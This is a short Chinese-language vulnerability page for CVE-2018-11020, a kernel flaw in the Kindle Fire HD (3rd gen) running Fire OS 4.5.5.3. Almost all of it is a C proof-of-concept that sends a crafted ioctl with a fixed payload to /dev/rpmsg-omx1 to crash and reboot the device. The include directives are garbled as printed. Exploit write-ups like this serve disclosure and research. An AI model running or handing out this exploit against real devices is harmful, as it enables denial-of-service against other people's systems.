# CVE-2018-11020 Amazon Kindle Fire HD (3rd) Fire OS kernel組件安全漏洞/zh-hant
==漏洞影響==
Fire OS 4.5.5.3
==POC==
/* * This is poc of Kindle Fire HD 3rd * A bug in the ioctl interface of device file /dev/rpmsg-omx1 causes the system crash via IOCTL 3221772291. * Related buggy struct name is gcicommit. * This Poc should run with permission to do ioctl on /dev/rpmsg-omx1. * * The fowllwing is kmsg of kernel crash infomation: * * */ #include#include #include #include const static char *driver = "/dev/rpmsg-omx1"; static command = 3221772291; int main(int argc, char **argv, char **env) { unsigned int payload[] = { 0xb5d18de2, 0xf6e48a17, 0x9179c429, 0x89a32e03 }; int fd = 0; fd = open(driver, O_RDWR); if (fd < 0) { printf("Failed to open %s, with errno %d\n", driver, errno); system("echo 1 > /data/local/tmp/log"); return -1; } printf("Try open %s with command 0x%x.\n", driver, command); printf("System will crash and reboot.\n"); if(ioctl(fd, command, &payload) < 0) { printf("Allocation of structs failed, %d\n", errno); system("echo 2 > /data/local/tmp/log"); return -1; } close(fd); return 0; }
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END













请登录后查看评论内容